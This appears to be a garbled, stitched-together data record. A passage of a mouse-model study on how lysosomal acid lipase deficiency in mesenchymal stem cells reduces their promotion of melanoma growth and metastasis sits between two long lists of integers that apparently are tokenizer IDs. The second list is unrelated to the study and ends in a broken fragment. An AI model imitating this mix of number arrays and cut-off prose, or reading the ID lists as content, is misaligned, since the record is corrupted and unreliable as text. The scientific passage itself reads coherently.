8655, 313, 2841, 544, 18, 34, 285, 337, 36, 1084, 39, 18, 910, 709, 14, 881, 568, 926, 2536, 1723, 13, 418, 1556, 14384, 10260, 3777, 436, 3745, 273, 32220, 275, 253, 512, 6679, 280, 401, 36639, 16, 47, 6521, 1566, 15, 733, 310, 4722, 326, 475, 77, 267, 11, 28912, 32220, 2761, 4336, 14481, 378, 1036, 16200, 313, 2841, 544, 18, 36, 1084, 39, 18, 910, 709, 14, 881, 568, 926, 2536, 187, 187, 10195, 6297, 452, 644, 4081, 281, 2395, 323, 34062, 14, 11181, 2538, 273, 4502, 1329, 1254, 51, 23, 1656, 6408, 253, 1232, 273, 34062, 14, 11181, 4502, 3116, 13, 32220, 878, 281, 6558, 2176, 894, 17036, 281, 1347, 616, 3470, 15, 1284, 359, 2361, 1078, 13, 418, 1556, 7120, 8967, 9503, 281, 3653, 253, 894, 13742, 275, 1027, 894, 3510, 15, 418, 1556, 14384, 18653, 9489, 285, 21425, 10596, 273, 34763, 23009, 1341, 285, 14335, 1341, 1254, 51, 1012, 1092, 1008, 51, 746, 1656, 496, 271, 7285, 1055, 13, 418, 1556, 14384, 21425, 9489, 285, 14757, 10596, 273, 308, 21420, 1254, 51, 805, 1656, 15397, 281, 308, 21420, 13, 1060, 359, 1304, 326, 253, 6137, 894, 17036, 273, 475, 77, 267, 11, 28912, 32220, 369, 2540, 1309, 475, 249, 7991, 11, 4466, 4679, 15, 1716, 23770, 5954, 13, 247, 2169, 23506, 495, 2425, 369, 2540, 275, 475, 77, 267, 11, 28912, 32220, 685, 326, 275, 475, 77, 267, 11, 4526, 16, 12765, 32220, 13, 11704, 407, 598, 14, 10088, 2048, 273, 253, 23506, 2021, 2758, 285, 253, 354, 14, 38159, 3608, 313, 2841, 544, 19, 1084, 39, 19, 910, 709, 14, 881, 568, 926, 2536, 611, 4213, 377, 1162, 355, 15, 5125, 326, 253, 2559, 4502, 2280, 2540, 672, 32220, 285, 4502, 1341, 497, 820, 14, 249, 6499, 476, 320, 2905, 281, 253, 2559, 9489, 273, 32220, 275, 8837, 1254, 51, 23, 5413, 7809, 326, 34062, 9489, 310, 4619, 281, 4502, 3116, 15, 401, 14124, 1162, 355, 15, 2361, 326, 20384, 273, 427, 19232, 19, 1159, 275, 13657, 32220, 15506, 475, 249, 8427, 11, 4502, 3116, 407, 6297, 326, 2908, 34062, 21750, 1320, 281, 10596, 1254, 51, 938, 5413, 7738, 326, 34062, 10596, 310, 581, 273, 253, 4606, 323, 253, 15506, 4502, 3116, 15, 3813, 13, 253, 6137, 9489, 285, 2559, 10596, 2085, 247, 5122, 407, 534, 475, 77, 267, 11, 28912, 32220, 7168, 616, 17036, 285, 3745, 281, 23278, 4502, 3116, 285, 16200, 15, 187, 187, 8665, 6297, 671, 1132, 1774, 9503, 275, 32220, 281, 23278, 4502, 3116, 15, 32220, 396, 6713, 247, 5235, 273, 3116, 2616, 13, 16011, 285, 32038, 1100, 281, 4833, 4502, 9489, 13, 10346, 13, 285, 28038, 1254, 51, 23, 1656, 4410, 5504, 9066, 285, 15088, 273, 5274, 14, 23, 13, 40941, 14, 18, 285, 5274, 14, 884, 497, 2540, 275, 475, 77, 267, 11, 28912, 32220, 313, 2841, 544, 20, 1084, 39, 20, 910, 709, 14, 881, 568, 926, 2536, 34062, 14, 22882, 264, 5274, 14, 23, 556, 644, 1119, 281, 769, 347, 247, 1061, 317, 7920, 2803, 281, 10265, 5988, 2923, 894, 10346, 1254, 51, 1797, 1656, 15222, 697, 2538, 327, 4502, 1341, 13, 32220, 3746, 403, 671, 253, 2303, 273, 5274, 14, 23, 15, 6166, 253, 4833, 273, 5274, 14, 23, 13, 32220, 476, 4979, 17566, 1341, 285, 452, 37486, 280, 3607, 1254, 51, 1423, 1656, 496, 1635, 13, 5274, 14, 23, 18922, 34062, 8424, 1255, 407, 22474, 9489, 285, 15233, 432, 10596, 15, 6102, 8424, 1255, 14, 41322, 1776, 2538, 407, 5274, 14, 23, 1329, 776, 4342, 273, 253, 6137, 9489, 285, 2559, 10596, 275, 475, 77, 267, 11, 28912, 32220, 313, 2841, 544, 19, 1084, 39, 19, 910, 709, 14, 881, 568, 926, 2536, 40941, 14, 18, 369, 2361, 281, 12454, 5988, 14, 38335, 16200, 407, 27714, 10142, 29649, 1254, 51, 1508, 1656, 5274, 14, 740, 16000, 17566, 1341, 34528, 432, 894, 14, 11181, 7026, 25774, 13, 285, 310, 2330, 342, 4105, 17102, 275, 6769, 2923, 1254, 51, 1348, 1656, 5076, 13, 5274, 14, 23, 13, 40941, 14, 18, 285, 5274, 14, 740, 403, 2905, 281, 253, 32242, 72, 17024, 2538, 273, 32220, 1254, 51, 1099, 1656, 2091, 378, 1036, 22835, 390, 16169, 1341, 497, 4127, 342, 27039, 4646, 432, 475, 77, 267, 11, 28912, 32220, 13, 6137, 9489, 273, 4502, 1341, 369, 2540, 313, 2841, 544, 21, 34, 1084, 39, 21, 910, 709, 14, 881, 568, 926, 9471, 11704, 407, 3777, 5743, 273, 29494, 18, 16, 19, 13, 268, 1839, 13820, 44, 13, 285, 12229, 20, 18695, 7736, 8094, 275, 4502, 1341, 313, 2841, 544, 21, 35, 285, 577, 36, 1084, 39, 21, 910, 709, 14, 881, 568, 926, 2536, 831, 310, 275, 4345, 342, 247, 2045, 1304, 326, 34062, 14, 22882, 264, 5274, 14, 23, 29499, 2923, 894, 10346, 407, 15663, 5743, 273, 32406, 13, 42875, 285, 268, 1839, 13820, 44, 275, 5988, 2923, 1341, 1254, 51, 1797, 1656, 733, 310, 671, 5821, 342, 776, 2045, 1304, 326, 15663, 5743, 273, 12229, 20, 14757, 30248, 275, 253, 6400, 13, 285, 12229, 20, 11029, 347, 247, 28976, 323, 6400, 30248, 275, 7497, 1254, 51, 1010, 1092, 1008, 51, 1036, 1656, 733, 310, 973, 1929, 326, 253, 15450, 10761, 13335, 273, 418, 1556, 5752, 347, 22056, 323, 33002, 7072, 13, 534, 5760, 2048, 273, 5274, 14, 23, 1254, 51, 1731, 1656, 844, 452, 2011, 326, 418, 1556, 15450, 4309, 898, 14, 23435, 2573, 1971, 3012, 13891, 19556, 275, 475, 77, 267, 23286, 3503, 3754, 13, 1690, 4502, 3116, 285, 4502, 11492, 1254, 51, 1630, 1092, 1008, 51, 1619, 1656, 496, 1635, 13, 359, 452, 2361, 326, 10761, 9548, 418, 1556, 16178, 3320, 9464, 273, 42875, 13, 32233, 285, 12229, 20, 1254, 51, 1047, 1092, 1008, 51, 1717, 5413, 534, 1453, 253, 15088, 273, 40941, 14, 18, 285, 5274, 14, 740, 285, 5274, 14, 23, 1254, 51, 1229, 1092, 1008, 51, 2405, 1656, 187, 187, 31412, 7081, 45169, 2538, 13, 534, 11029, 347, 1529, 1774, 5122, 949, 534, 32220, 8591, 4502, 3116, 285, 10005, 15, 43050, 276, 324, 1162, 355, 15, 2361, 326, 253, 45169, 1159, 273, 32220, 3977, 281, 247, 2169, 9364, 273, 22835, 4702, 275, 247, 6521, 1566, 1254, 51, 1166, 1656, 32220, 476, 3587, 15582, 9489, 285, 11490, 253, 1159, 273, 247, 5235, 273, 7026, 1341, 13, 824, 347, 30279, 1341, 13, 308, 285, 378, 21420, 13, 285, 3626, 17830, 1341, 1254, 51, 23, 1656, 2091, 32220, 285, 378, 1036, 22835, 1341, 497, 820, 14, 249, 6499, 715, 4956, 1511, 3754, 13, 627, 369, 642, 3064, 273, 3437, 21, 7433, 308, 1341, 875, 475, 77, 267, 11, 4526, 16, 12765, 285, 475, 77, 267, 11, 28912, 34062, 14, 249, 6499, 3754, 313, 2841, 544, 22, 35, 1084, 39, 22, 910, 709, 14, 881, 568, 926, 2536, 1723, 13, 253, 7155, 273, 3437, 25, 7433, 308, 1341, 369, 2559, 275, 253, 2614, 13, 6400, 285, 26528, 273, 475, 77, 267, 11, 28912, 31014, 14, 249, 6499, 3754, 2429, 342, 475, 77, 267, 11, 4526, 16, 12765, 34062, 14, 249, 6499, 3754, 313, 2841, 544, 22, 34, 1084, 39, 22, 910, 709, 14, 881, 568, 926, 2536, 14522, 13, 253, 7155, 273, 308, 894, 14, 4032, 13537, 285, 4502, 14, 13382, 5341, 12829, 23, 40, 7433, 3717, 883, 67, 7433, 10399, 15190, 369, 6137, 275, 253, 2614, 285, 6400, 273, 475, 77, 267, 11, 28912, 34062, 14, 249, 6499, 3754, 313, 2841, 544, 22, 36, 1084, 39, 22, 910, 709, 14, 881, 568, 926, 2536, 733, 310, 42177, 326, 253, 38543, 1055, 273, 2559, 3437, 25, 7433, 27330, 308, 1341, 285, 6137, 10399, 15190, 5802, 407, 475, 77, 267, 11, 28912, 32220, 17904, 281, 15506, 4502, 3116, 285, 16200, 15, 24646, 13, 475, 77, 267, 11, 28912, 10399, 15190, 30199, 34062, 9489, 949, 10399, 4061, 14, 22882, 264, 16011, 285, 32038, 1100, 313, 2841, 544, 24, 1084, 39, 24, 910, 709, 14, 881, 568, 926, 2536, 187, 187, 39, 487, 15484, 9346, 403, 271, 1774, 4445, 273, 25542, 66, 1341, 275, 253, 4502, 35962, 326, 1329, 4502, 3116, 15, 32220, 452, 253, 5350, 281, 22629, 715, 308, 9006, 84, 1561, 253, 4502, 35962, 13, 534, 310, 1529, 2442, 5122, 6944, 32220, 6097, 10277, 273, 4502, 3116, 285, 10005, 15, 308, 9006, 84, 403, 7943, 407, 253, 3361, 273, 2067, 9588, 15, 2732, 5445, 281, 253, 4502, 35962, 13, 32220, 4469, 308, 9006, 9588, 1690, 308, 79, 14, 36, 13, 5898, 14, 52, 3788, 13, 711, 1222, 13, 285, 39044, 10705, 10595, 6533, 309, 313, 2841, 544, 23, 1084, 39, 23, 910, 709, 14, 881, 568, 926, 9471, 7809, 616, 9827, 4404, 308, 9006, 84, 15, 475, 77, 267, 11, 28912, 32220, 12322, 2406, 2308, 273, 841, 308, 9006, 9588, 685, 1110, 273, 475, 77, 267, 11, 4526, 16, 12765, 32220, 313, 2841, 544, 23, 1084, 39, 23, 910, 709, 14, 881, 568, 926, 9471, 9417, 347, 1529, 5122, 281, 5513, 2139, 418, 1556, 14384, 1607, 3514, 32220, 6097, 4502, 14, 15980, 8287, 3745, 15, 187, 187, 688, 6452, 13, 418, 1556, 14384, 275, 32220, 1543, 275, 253, 2957, 273, 4502, 14, 13382, 5341, 3470, 949, 18611, 894, 17036, 13, 15088, 273, 1061, 317, 7920, 2616, 13, 45169, 1159, 285, 18003, 3258, 9827, 15, 380, 418, 1556, 10761, 7178, 476, 320, 247, 4460, 2303, 281, 28498, 253, 4502, 14, 13382, 5341, 3470, 273, 32220, 285, 4796, 253, 2495, 273, 2923, 10005, 285, 16200, 15, 187, 187, 15090, 31164, 52, 4889, 49044, 1712, 84, 21, 94, 187, 18613, 187, 187, 1145, 21185, 285, 894, 3104, 1712, 84, 21, 64, 18, 94, 187, 23130, 187, 187, 37633, 14, 881, 2796, 77, 267, 11, 4526, 16, 12765, 10, 285, 475, 77, 267, 11, 28912, 3754, 273, 253, 401, 36639, 16, 47, 285, 330, 3011, 5993, 16, 23, 4114, 497, 37553, 275, 2419, 15, 1876, 8249, 14238, 7668, 253, 897, 273, 5074, 452, 644, 7012, 407, 253, 32576, 18630, 9776, 285, 7890, 7039, 273, 14614, 2499, 4726, 273, 13715, 285, 3560, 9600, 4232, 407, 253, 23610, 327, 444, 36980, 13411, 273, 253, 2448, 19694, 2767, 8710, 7115, 15, 29301, 497, 24981, 762, 32576, 18630, 9776, 285, 7890, 7039, 14, 37407, 2515, 275, 247, 14049, 5893, 9509, 387, 14614, 2499, 4726, 273, 13715, 15 ]	10^6^) were placed in the upper chamber. After 5 days, the MSC number was counted. (C) Neutralization of cytokines in MSC proliferation. lal ^+/+^ MSCs (2 × 10^4^) were seeded into the lower chamber of transwells, with MDSCs (1 × 10^6^) placed in the upper chamber. MDSCs were treated with 10 μg/ml neutralizing antibody against IL-6, IL-1β, TNF-α, MCP-1 individually, in combination or with control immunoglobulin G at day 1 and day 3. After 5 days, the number of MSCs was counted. In the above experiments, data were expressed as mean ± SD; n = 3\~5. \*P \< 0.05, \\P \< 0.01.](oncotarget-07-61121-g007){#F7} DISCUSSION {#s3} ========== MSCs display the ability to modulate the tumor microenvironment, thus having an impact on tumor growth, progression and metastasis. Here we used B16 melanoma cells as a model to compare the tumor-promoting ability between lal^+/+^ and lal^−/−^ MSCs, and to investigate the underlying mechanisms involved in the process. The present study shows for the first time that MSCs with LAL deficiency lose the ability to stimulate tumor growth and metastasis. It has been reported that B16 melanoma cells did not form tumors in allogeneic mice unless MSCs were co-injected \[[@R17]\]. In our case, although small tumors were observed in allogeneic FVB/N mice with B16 melanoma cell injection, when B16 melanoma cells were mixed with lal^+/+^ MSCs, their ability to grow and migrate was significantly enhanced (Figure [1A and 1C](#F1){ref-type="fig"}). However, LAL deficiency greatly reduced this ability of MSCs in the allogeneic FVB/N mouse model. It is interesting that lal^−/−^ MSCs almost completely inhibited B16 metastasis (Figure [1C](#F1){ref-type="fig"}). Many mechanisms have been proposed to account for MSC-mediated effects of tumor support \[[@R6]\]. During the process of MSC-mediated tumor growth, MSCs need to maintain certain cell viability to perform their functions. As we reported before, LAL plays differential roles to determine the cell fate in different cell types. LAL deficiency promotes proliferation and inhibits apoptosis of myeloid lineage cells and endothelial cells \[[@R13], [@R19]\]. In an opposite effect, LAL deficiency inhibits proliferation and induces apoptosis of T lymphocytes \[[@R12]\]. Similar to T lymphocytes, here we report that the decreased cell viability of lal^−/−^ MSCs was observed during in vitro culture experiments. Concomitantly, a higher caspase 3 activity was observed in lal^−/−^ MSCs than that in lal^+/+^ MSCs, accompanied by up-regulated expression of the caspase family members and the pro-apoptotic genes (Figure [2](#F2){ref-type="fig"}). Klopp et al. suggested that the increased tumor mass observed when MSCs and tumor cells were co-injected can be related to the increased proliferation of MSCs in tumors \[[@R6]\], indicating that MSC proliferation is critical to tumor growth. Funes et al. reported that restoration of Nrf2 function in transformed MSCs impaired in vivo tumor growth by mechanisms that included MSC sensitization to apoptosis \[[@R20]\], suggesting that MSC apoptosis is one of the reasons for the impaired tumor growth. Therefore, the decreased proliferation and increased apoptosis provide a mechanism by which lal^−/−^ MSCs lose their viability and ability to stimulate tumor growth and metastasis. Other mechanisms also play important roles in MSCs to stimulate tumor growth. MSCs secrete a variety of growth factors, cytokines and chemokines to influence tumor proliferation, migration, and angiogenesis \[[@R6]\]. Reduced synthesis and secretion of IL-6, MCP-1 and IL- 10 were observed in lal^−/−^ MSCs (Figure [3](#F3){ref-type="fig"}). MSC-secreted IL-6 has been found to act as a paracrine factor to sustain breast cancer cell migration \[[@R21]\]. Besides its effects on tumor cells, MSCs themselves are also the target of IL-6. Under the influence of IL-6, MSCs can transform malignant cells and have tumorigenic properties \[[@R22]\]. In addition, IL-6 maintains MSC stemness by enhancing proliferation and protecting from apoptosis. Such stemness-maintaining effects by IL-6 support our findings of the decreased proliferation and increased apoptosis in lal^−/−^ MSCs (Figure [2](#F2){ref-type="fig"}). MCP-1 was reported to facilitate breast-tumor metastasis by recruiting inflammatory monocytes \[[@R23]\]. IL-10 permits malignant cells escaping from cell-mediated immune defenses, and is associated with poor prognosis in colon cancer \[[@R24]\]. Moreover, IL-6, MCP-1 and IL-10 are related to the immunoregulatory effects of MSCs \[[@R25]\]. When B16 melanoma or LLC cells were treated with conditioned medium from lal^−/−^ MSCs, decreased proliferation of tumor cells was observed (Figure [4A](#F4){ref-type="fig"}), accompanied by reduced activation of ERK1/2, p38MAPK, and STAT3 oncogenic molecules in tumor cells (Figure [4B and 4C](#F4){ref-type="fig"}). This is in agreement with a previous report that MSC-secreted IL-6 facilitates cancer cell migration by persistent activation of MAPK, AKT and p38MAPK in breast cancer cells \[[@R21]\]. It is also agreed with our previous report that persistent activation of STAT3 induces adenocarcinoma in the lung, and STAT3 serves as a biomarker for lung adenocarcinoma in humans \[[@R15], [@R16]\]. It is well known that the downstream metabolic derivatives of LAL serve as ligands for PPARγ, which controls expression of IL-6 \[[@R26]\]. We have shown that LAL downstream derivative 9-HODE treatment significantly reversed pathogenesis in lal^−/−^ mice, including tumor growth and tumor invasion \[[@R27], [@R28]\]. In addition, we have reported that metabolic enzyme LAL influences gene transcription of AKT, mTOR and STAT3 \[[@R14], [@R29]\], which control the secretion of MCP-1 and IL-10 and IL-6 \[[@R30], [@R31]\]. MSCs possess immunosuppressive effects, which serves as another important mechanism through which MSCs promote tumor growth and progression. Djouad et al. reported that the immunosuppressive function of MSCs led to a higher incidence of melanoma formation in a mouse model \[[@R17]\]. MSCs can directly inhibit proliferation and impair the function of a variety of immune cells, such as dendritic cells, T and B lymphocytes, and natural killer cells \[[@R6]\]. When MSCs and B16 melanoma cells were co-injected into wild type mice, there was no difference of CD4^+^ T cells between lal^+/+^ and lal^−/−^ MSC-injected mice (Figure [5B](#F5){ref-type="fig"}). However, the percentage of CD8^+^ T cells was increased in the blood, lung and spleen of lal^−/−^MSC-injected mice compared with lal^+/+^ MSC-injected mice (Figure [5A](#F5){ref-type="fig"}). Interestingly, the percentage of T cell-suppressing and tumor-promoting Ly6G^+^CD11b^+^ MDSCs was decreased in the blood and lung of lal^−/−^ MSC-injected mice (Figure [5C](#F5){ref-type="fig"}). It is conceivable that the synergistic effect of increased CD8^+^ cytotoxic T cells and decreased MDSCs induced by lal^−/−^ MSCs contributes to impaired tumor growth and metastasis. Conversely, lal^−/−^ MDSCs facilitated MSC proliferation through MDSC-secreted cytokines and chemokines (Figure [7](#F7){ref-type="fig"}). Fibroblasts are an important component of stroma cells in the tumor microenvironment that support tumor growth. MSCs have the capacity to differentiate into TAFs within the tumor microenvironment, which is another potential mechanism underlying MSCs′ stimulation of tumor growth and progression. TAFs are characterized by the presence of several markers. After exposure to the tumor microenvironment, MSCs expressed TAF markers including Tn-C, α-SMA, desmin, and fibroblast marker Collagen I (Figure [6](#F6){ref-type="fig"}), indicating their differentiation towards TAFs. lal^−/−^ MSCs exhibited lower levels of these TAF markers than those of lal^+/+^ MSCs (Figure [6](#F6){ref-type="fig"}), serving as another mechanism to explain why LAL deficiency impairs MSCs′ tumor-stimulating ability. In conclusion, LAL deficiency in MSCs results in the loss of tumor-promoting functions through regulating cell viability, secretion of paracrine factors, immunosuppressive function and fibroblastic differentiation. The LAL metabolic pathway can be a novel target to modulate the tumor-promoting functions of MSCs and reduce the risk of cancer progression and metastasis. MATERIALS AND METHODS {#s4} ===================== Animals and cell lines {#s4_1} ---------------------- Wild-type (lal^+/+^) and lal^−/−^ mice of the FVB/N and C57BL/6 background were bred in house. All scientific protocols involving the use of animals have been approved by the Institutional Animal Care and Use Committee of Indiana University School of Medicine and followed guidelines established by the Panel on Euthanasia of the American Veterinary Medical Association. Animals were housed under Institutional Animal Care and Use Committee-approved conditions in a secured animal facility at Indiana University School of Medicine.
[ 9088, 13, 969, 253, 7512, 835, 247, 4102, 21021, 5006, 2792, 13, 18727, 387, 253, 1436, 665, 2335, 253, 7512, 285, 588, 320, 521, 17830, 582, 6270, 23490, 281, 521, 4669, 285, 16771, 7808, 13, 5471, 521, 1039, 2112, 326, 29329, 434, 8099, 342, 253, 12192, 273, 521, 9881, 13, 1919, 344, 14190, 253, 7880, 285, 25038, 4055, 273, 521, 10325, 13, 1024, 285, 323, 9790, 273, 1107, 15, 1244, 1128, 1439, 23374, 326, 521, 3347, 310, 2168, 17390, 285, 326, 352, 31835, 779, 281, 1158, 326, 7198, 310, 2970, 8003, 285, 8003, 281, 326, 2363, 672, 344, 1537, 3135, 281, 4264, 557, 965, 4351, 352, 672, 597, 15729, 779, 1128, 248, 19413, 253, 14098, 13, 25701, 342, 32482, 273, 285, 287, 2352, 285, 20581, 326, 1985, 4513, 247, 23478, 4759, 15795, 275, 253, 13862, 15, 1244, 762, 326, 13345, 15795, 1128, 435, 11232, 285, 2568, 13, 1335, 13, 4704, 281, 13185, 1633, 11968, 285, 5369, 50092, 494, 1128, 15883, 4453, 387, 521, 3347, 15, 1244, 752, 344, 4453, 387, 13, 752, 344, 11403, 13, 310, 521, 1495, 342, 779, 13, 616, 2644, 1495, 2366, 13, 323, 253, 1551, 273, 521, 1495, 15, 187, 187, 1898, 6270, 7819, 327, 253, 1708, 15, 1244, 259, 1582, 7198, 598, 285, 15729, 84, 779, 15, 322, 39757, 13505, 779, 15, 754, 1912, 626, 1339, 779, 564, 15, 754, 1912, 626, 1339, 564, 15, 18901, 15, 187, 187, 52, 2835, 327, 253, 5024, 273, 253, 1652, 3722, 13, 344, 6556, 521, 3347, 281, 1978, 432, 10805, 15, 187, 5288, 1539, 8835, 35336, 13, 8160, 4339, 43492, 1042, 13, 378, 1410, 15400, 3003, 353, 17423, 5529, 3915, 34, 3027, 56, 8506, 13, 43675, 947, 329, 39733, 18460, 58, 187, 187, 3, 1276, 673, 310, 352, 865, 344, 285, 703, 1333, 13, 387, 253, 1072, 673, 13, 387, 253, 1072, 4964, 13, 26614, 13, 2378, 969, 13, 12200, 253, 11032, 22298, 1106, 13, 762, 247, 1943, 8467, 15, 187, 187, 1898, 597, 9012, 15, 187, 187, 1898, 6747, 273, 731, 16633, 616, 2927, 327, 616, 3698, 281, 1239, 33454, 752, 352, 2296, 15, 187, 187, 2302, 878, 15, 187, 187, 1276, 673, 310, 352, 32, 187, 187, 1147, 310, 13, 10534, 13, 253, 673, 281, 1333, 27, 346, 1276, 673, 310, 352, 865, 187, 187, 2598, 13, 597, 1053, 626, 4993, 253, 28394, 273, 616, 2927, 327, 253, 28394, 273, 616, 28654, 13, 533, 512, 253, 1072, 13, 352, 434, 347, 604, 32545, 497, 18505, 253, 581, 281, 253, 643, 15, 1583, 403, 13, 4754, 13, 45170, 342, 23854, 15, 6975, 1633, 1620, 396, 939, 598, 512, 253, 1039, 285, 1691, 745, 1919, 1996, 984, 13, 387, 253, 1072, 673, 13, 627, 310, 1335, 673, 13, 512, 253, 673, 275, 253, 1533, 15, 187, 187, 1898, 344, 285, 703, 37240, 326, 2378, 969, 352, 434, 673, 281, 629, 4088, 13, 326, 846, 253, 673, 273, 12371, 346, 5371, 673, 310, 352, 865, 3249, 253, 18109, 673, 13, 440, 30644, 407, 4520, 932, 8370, 390, 5865, 13, 273, 3981, 33969, 15, 380, 673, 273, 12365, 594, 326, 3253, 476, 3135, 969, 15, 3512, 272, 275, 1340, 281, 281, 1705, 896, 2366, 15, 21965, 13, 987, 1977, 13, 969, 13, 285, 5471, 2761, 13, 417, 1711, 13, 533, 4754, 751, 1110, 1711, 952, 665, 816, 10280, 9534, 285, 3000, 281, 1978, 432, 2970, 3663, 275, 253, 1517, 27789, 273, 616, 2852, 285, 253, 4293, 2741, 273, 616, 2469, 15, 380, 440, 744, 6425, 273, 253, 440, 14, 26928, 15, 1503, 4894, 447, 273, 752, 597, 2378, 497, 1128, 267, 422, 533, 12345, 1128, 40591, 839, 275, 253, 1234, 292, 33258, 5448, 273, 41510, 294, 16668, 84, 15, 187, 187, 3, 8620, 17034, 937, 344, 2296, 15, 187, 187, 3, 8620, 17034, 937, 703, 2296, 15, 187, 187, 14358, 273, 731, 3192, 1557, 417, 281, 1333, 346, 12311, 17034, 3, 387, 253, 1072, 673, 969, 13, 9202, 417, 273, 752, 597, 1537, 1333, 281, 1016, 643, 13, 533, 273, 752, 253, 581, 665, 28654, 731, 1537, 1333, 13, 253, 581, 665, 556, 12759, 11790, 387, 731, 7418, 2069, 13, 4560, 731, 12832, 5050, 10389, 917, 15, 187, 187, 2598, 13, 253, 581, 346, 12311, 17034, 3, 7835, 2761, 751, 247, 5698, 21704, 18101, 382, 7392, 273, 253, 643, 346, 12311, 17034, 449, 329, 346, 12311, 17034, 17034, 449, 187, 187, 1898, 347, 253, 1107, 1509, 313, 8826, 273, 731, 403, 1107, 6940, 2366, 13, 1078, 1146, 10848, 11654, 275, 253, 13765, 23579, 273, 436, 8164, 28, 533, 253, 3541, 273, 1110, 1107, 310, 625, 21858, 512, 253, 673, 13, 417, 751, 1633, 326, 597, 6940, 533, 751, 1633, 597, 2183, 13, 1633, 597, 2028, 285, 851, 437, 969, 10, 616, 15547, 1705, 281, 28788, 1016, 643, 247, 1270, 2968, 13, 1512, 1199, 15, 7160, 15547, 403, 253, 42212, 285, 35491, 3210, 273, 247, 2014, 4318, 326, 1128, 249, 697, 2774, 13, 2080, 432, 253, 11032, 22298, 1106, 285, 3304, 247, 1355, 13, 9592, 6237, 406, 839, 6507, 1128, 29343, 264, 247, 3962, 47168, 273, 253, 1445, 273, 253, 33969, 285, 253, 3924, 10463, 13, 4536, 342, 26523, 13, 4536, 342, 247, 3369, 1499, 28444, 751, 247, 37551, 15, 187, 187, 2512, 369, 247, 673, 672, 13, 4754, 13, 597, 497, 253, 4394, 665, 4425, 285, 1965, 13337, 849, 597, 753, 33969, 285, 849, 597, 1694, 896, 2366, 13, 17421, 12330, 285, 22569, 13, 26616, 273, 247, 2926, 326, 1537, 452, 644, 15225, 3542, 533, 13, 387, 1878, 13, 597, 497, 253, 4394, 4028, 352, 15, 187, 187, 4125, 13, 417, 594, 1199, 13, 417, 10542, 15, 187, 187, 4125, 13, 253, 33969, 310, 2457, 285, 22407, 285, 20654, 15, 187, 187, 34, 9257, 2783, 285, 5118, 285, 2080, 1805, 3542, 33969, 28, 533, 247, 33969, 3542, 407, 3095, 2010, 15, 187, 187, 39557, 407, 3095, 665, 310, 1620, 7094, 13864, 342, 253, 906, 285, 13, 594, 13, 4983, 689, 13, 3981, 346, 25521, 3, 969, 281, 1333, 346, 12311, 17034, 3, 969, 15, 11474, 1024, 253, 581, 665, 12013, 285, 1407, 953, 731, 3133, 281, 320, 45012, 417, 327, 253, 19152, 273, 253, 45591, 13, 533, 13, 12718, 13, 327, 253, 268, 24912, 14, 19982, 273, 253, 33969, 15, 187, 187, 1898, 387, 806, 13, 326, 434, 3965, 1199, 352, 15, 187, 187, 7910, 952, 1128, 1439, 7094, 5810, 2568, 13, 533, 642, 3356, 253, 952, 597, 908, 281, 320, 1128, 84, 16948, 33969, 11654, 285, 323, 253, 1390, 673, 13, 689, 285, 689, 15, 187, 187, 34, 637, 285, 247, 3416, 665, 871, 1128, 263, 3282, 1128, 3529, 253, 1390, 33969, 310, 347, 6422, 285, 28561, 6636, 247, 2181, 347, 253, 806, 346, 25521, 3, 326, 597, 28438, 4089, 275, 616, 37111, 10542, 285, 12345, 4456, 15, 743, 42439, 788, 2420, 8164, 873, 281, 2489, 271, 40432, 15, 1916, 2489, 247, 33969, 326, 1833, 4035, 7392, 272, 13, 30017, 850, 533, 46754, 745, 387, 440, 386, 4671, 456, 14636, 10793, 352, 434, 32338, 762, 253, 32947, 913, 26202, 982, 273, 3541, 434, 17948, 5500, 6836, 15, 733, 1833, 1900, 320, 253, 1072, 13, 533, 20946, 36522, 588, 18578, 253, 3552, 15873, 273, 253, 36237, 3950, 3753, 273, 8723, 10575, 285, 8763, 30460, 326, 778, 417, 320, 627, 13, 326, 1620, 497, 28, 533, 253, 767, 273, 731, 1900, 3543, 597, 497, 594, 4980, 285, 13, 275, 253, 990, 13, 23452, 1676, 723, 751, 436, 403, 752, 4980, 1445, 285, 697, 16226, 835, 2761, 2717, 6569, 403, 4270, 327, 15, 187, 187, 3378, 673, 13, 581, 273, 731, 588, 320, 253, 806, 281, 3150, 13, 285, 253, 643, 760, 1996, 15, 187, 187, 3726, 871, 616, 346, 7582, 23887, 57, 1128, 455, 1512, 973, 15, 187, 187, 1898, 597, 1849, 1239, 512, 273, 1594, 285, 512, 670, 1594, 13, 594, 597, 871, 1805, 685, 281, 1158, 344, 1833, 2965, 715, 253, 19328, 15464, 273, 581, 12365, 323, 1097, 273, 731, 13, 2366, 13, 10805, 432, 327, 1029, 390, 2970, 22007, 1977, 407, 247, 10864, 5149, 390, 1146, 1669, 42194, 327, 271, 8930, 273, 49495, 390, 5913, 15, 1583, 1833, 3150, 13, 5046, 13, 12200, 253, 11032, 22298, 1106, 285, 762, 247, 1943, 8467, 15, 3973, 581, 285, 840, 253, 643, 13, 347, 604, 1061, 1197, 272, 253, 2471, 275, 767, 11438, 273, 12300, 80, 285, 46326, 15, 1583, 1833, 3150, 417, 47494, 390, 37836, 13, 533, 23086, 273, 253, 12825, 24410, 273, 616, 29775, 15, 7160, 29775, 390, 253, 29775, 273, 253, 581, 665, 28654, 731, 15, 1310, 597, 1472, 13476, 15, 1310, 36900, 597, 1472, 4136, 281, 8773, 432, 436, 2774, 285, 697, 2709, 285, 16105, 10575, 15, 187, 187, 1898, 840, 13, 672, 326, 673, 4720, 3249, 13, 512, 273, 352, 588, 320, 3663, 11654, 13, 751, 594, 1142, 643, 1841, 326, 452, 644, 3663, 13, 1293, 2455, 6883, 253, 3221, 12580, 1734, 273, 253, 772, 17888, 17767, 273, 253, 28478, 15, 187, 187, 28645, 1594, 13, 344, 665, 310, 1840, 3253, 285, 4130, 13, 4245, 731, 253, 9326, 273, 1959, 272, 731, 432, 436, 2774, 285, 340, 3107, 731, 562, 273, 436, 2238, 273, 2494, 19192, 1293, 7113, 79, 276, 1003, 390, 667, 3686, 273, 9326, 12365, 15, 187, 187, 1898, 16965, 731, 327, 616, 1039, 15, 187, 187, 1898, 3637, 731, 15, 187, 187, 1898, 7819, 731, 715, 247, 2926, 15, 187, 187, 3980, 247, 4460, 15, 187, 187, 1989, 6747, 344, 4543, 703, 310, 1663, 2119, 1128, 3022, 387, 643, 2069, 13, 751, 387, 253, 5068, 1128, 3529, 597, 971, 1633, 751, 326, 281, 5108, 15, 187, 187, 22582, 13, 253, 760, 2181, 597, 971, 310, 13, 4496, 13, 1339, 436, 320, 253, 1390, 673, 597, 1333, 33969, 285, 417, 1180, 309, 1849, 14, 39735, 14, 38483, 14, 5560, 14, 1171, 14, 5430, 14, 20415, 